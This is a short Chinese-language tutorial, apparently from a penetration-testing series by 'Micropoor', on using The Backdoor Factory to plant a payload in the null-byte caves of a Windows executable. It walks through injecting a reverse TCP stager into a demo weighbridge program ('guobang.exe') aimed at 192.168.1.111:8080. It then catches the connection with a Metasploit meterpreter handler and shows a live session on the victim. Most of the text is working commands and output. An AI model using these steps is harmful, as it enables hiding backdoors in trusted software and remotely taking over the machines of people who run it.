工具介绍 the-backdoor-factory

项目地址: https://github.com/secretsquirrel/the-backdoor-factory

原理

可执行二进制文件中有大量的 00,这些 00 是不包含数据的,将这些数据替换成 payload,并且在程序执行的时候,jmp 到代码段,来触发 payload。

以项目中的过磅系统为例:

root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
//安装the-backdoor-factory

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S
//检测是否支持后门植入

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150
//测试裂缝空间size150

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show
//查看可用payload

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded
//插入payload,并生成文件。

root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe
//对比原文件与生成文件MD5值

root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe
//对比文件大小

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j 
//开启本地监听

//打开软件

meterpreter > getuid
Server username: John-PC\John

//确定目标

--By Micropoor

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